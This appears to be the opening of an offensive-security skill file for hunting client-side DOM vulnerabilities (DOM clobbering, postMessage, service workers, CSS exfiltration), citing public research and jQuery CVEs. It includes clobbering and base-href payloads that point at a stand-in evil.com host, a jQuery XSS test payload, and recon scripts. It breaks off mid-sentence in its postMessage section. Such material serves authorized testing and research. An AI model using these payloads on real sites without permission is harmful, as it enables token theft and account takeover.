/hunt-dom

name: hunt-dom
description: "Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template injection, dangerouslySetInnerHTML. Grounded in named public research: Gareth Heyes / PortSwigger DOM-clobbering + DOM-Invader, Michał Bentkowski DOMPurify clobbering bypasses, jQuery htmlPrefilter XSS (CVE-2020-11022 / CVE-2020-11023), d0nut CSS-exfil research. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction."
sources: portswigger_research, hackerone_public, github_security_advisories
report_count: 17

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil

Crown Jewel Targets

DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.

**Highest-value chains:**

• **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
• **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink.
• **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture.
• **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.

Grounding — public research this is distilled from

• **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
• **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
• **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
• **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint).

> Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.

---

Attack Surface Signals

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

---

Phase 1 — DOM Clobbering

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href

// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});

# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

**jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.

---

Phase 2 — PostMessage Hijacking

Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/pri